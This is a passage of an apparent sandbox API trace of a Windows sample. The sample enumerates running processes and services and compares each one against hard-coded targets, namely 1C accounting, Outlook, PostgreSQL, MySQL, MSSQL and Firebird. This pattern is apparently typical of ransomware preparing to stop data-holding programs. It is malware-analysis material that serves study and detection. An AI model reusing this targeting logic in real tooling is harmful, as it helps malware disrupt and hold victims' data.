(lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0227.375] lstrlenW (lpString="Themes") returned 6 [0227.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0227.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0227.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0227.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0227.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0227.376] lstrlenW (lpString="UxSms") returned 5 [0227.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0227.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0227.376] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0227.376] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0227.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0227.377] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0227.377] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0227.381] Process32FirstW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.382] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0227.383] lstrlenW (lpString="System") returned 6 [0227.383] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0227.383] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0227.383] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0227.383] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0227.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0227.384] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0227.384] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0227.384] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0227.385] lstrlenW (lpString="smss.exe") returned 8 [0227.385] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0227.385] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0227.385] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0227.385] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0227.385] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0227.385] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0227.385] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0227.385] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.386] lstrlenW (lpString="csrss.exe") returned 9 [0227.386] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0227.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0227.387] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0227.387] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0227.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0227.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0227.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0227.387] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0227.388] lstrlenW (lpString="wininit.exe") returned 11 [0227.388] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0227.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0227.388] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0227.388] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0227.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0227.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0227.389] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0227.389] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.389] lstrlenW (lpString="csrss.exe") returned 9 [0227.389] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0227.390] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0227.390] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0227.390] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0227.390] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0227.390] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0227.390] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0227.390] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0227.391] lstrlenW (lpString="winlogon.exe") returned 12 [0227.391] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0227.391] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0227.391] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0227.391] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0227.391] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0227.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0227.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0227.392] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0227.393] lstrlenW (lpString="services.exe") returned 12 [0227.393] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0227.393] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0227.393] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0227.393] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0227.393] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0227.393] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0227.393] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0227.393] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0227.535] lstrlenW (lpString="lsass.exe") returned 9 [0227.535] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0227.535] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0227.535] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0227.536] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0227.536] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0227.536] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0227.536] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0227.536] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0227.537] lstrlenW (lpString="lsm.exe") returned 7 [0227.537] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0227.537] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0227.537] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0227.537] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0227.537] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0227.537] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0227.537] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0227.538] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.539] lstrlenW (lpString="svchost.exe") returned 11 [0227.539] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0227.539] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0227.539] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0227.539] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0227.539] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0227.539] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0227.539] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0227.539] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.540] lstrlenW (lpString="svchost.exe") returned 11 [0227.540] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0227.540] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0227.540] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0227.541] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0227.541] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0227.541] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0227.541] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0227.541] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.542] lstrlenW (lpString="svchost.exe") returned 11 [0227.542] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0227.542] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0227.542] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0227.542] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0227.542] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0227.542] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0227.542] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0227.542] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.544] lstrlenW (lpString="svchost.exe") returned 11 [0227.544] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0227.544] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0227.544] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0227.544] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0227.544] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0227.544] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.545] lstrlenW (lpString="svchost.exe") returned 11 [0227.545] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.546] lstrlenW (lpString="audiodg.exe") returned 11 [0227.547] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.548] lstrlenW (lpString="svchost.exe") returned 11 [0227.548] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0227.549] lstrlenW (lpString="userinit.exe") returned 12 [0227.549] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.550] lstrlenW (lpString="explorer.exe") returned 12 [0227.550] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.551] lstrlenW (lpString="dwm.exe") returned 7 [0227.551] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.552] lstrlenW (lpString="svchost.exe") returned 11 [0227.552] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0227.553] lstrlenW (lpString="driver.exe") returned 10 [0227.554] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.555] lstrlenW (lpString="spoolsv.exe") returned 11 [0227.555] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0227.556] lstrlenW (lpString="taskhost.exe") returned 12 [0227.556] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.557] lstrlenW (lpString="svchost.exe") returned 11 [0227.557] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0227.558] lstrlenW (lpString="dllhost.exe") returned 11 [0227.558] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0227.559] lstrlenW (lpString="reader_sl.exe") returned 13 [0227.560] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0227.561] CloseHandle (hObject=0x388) returned 1 [0227.561] Sleep (dwMilliseconds=0x1f4) [0228.084] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3220 [0228.347] EnumServicesStatusExW (in: hSCManager=0x41c3220, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0228.381] GetLastError () returned 0xea [0228.381] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x41d0998 [0228.382] EnumServicesStatusExW (in: hSCManager=0x41c3220, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0228.382] CloseServiceHandle (hSCObject=0x41c3220) returned 1 [0228.383] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0228.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0228.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0228.383] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0228.383] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0228.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0228.383] lstrlenW (lpString="AudioSrv") returned 8 [0228.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0228.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0228.384] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0228.384] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0228.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0228.384] lstrlenW (lpString="BFE") returned 3 [0228.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0228.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0228.384] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0228.384] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0228.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0228.384] lstrlenW (lpString="CryptSvc") returned 8 [0228.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0228.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0228.385] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0228.385] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0228.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0228.385] lstrlenW (lpString="CscService") returned 10 [0228.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0228.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0228.385] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0228.385] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0228.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0228.385] lstrlenW (lpString="DcomLaunch") returned 10 [0228.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0228.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0228.386] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0228.386] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0228.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0228.386] lstrlenW (lpString="Dhcp") returned 4 [0228.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0228.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0228.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0228.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0228.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0228.386] lstrlenW (lpString="Dnscache") returned 8 [0228.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0228.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0228.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0228.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0228.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0228.387] lstrlenW (lpString="DPS") returned 3 [0228.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0228.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0228.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0228.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0228.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0228.387] lstrlenW (lpString="eventlog") returned 8 [0228.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0228.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0228.388] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0228.388] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0228.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0228.388] lstrlenW (lpString="EventSystem") returned 11 [0228.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0228.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0228.388] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0228.388] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0228.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0228.388] lstrlenW (lpString="gpsvc") returned 5 [0228.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0228.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0228.389] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0228.389] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0228.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0228.389] lstrlenW (lpString="LanmanWorkstation") returned 17 [0228.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0228.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0228.389] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0228.389] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0228.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0228.389] lstrlenW (lpString="lmhosts") returned 7 [0228.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0228.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0228.390] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0228.390] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0228.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0228.390] lstrlenW (lpString="MMCSS") returned 5 [0228.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0228.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0228.390] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0228.390] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0228.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0228.390] lstrlenW 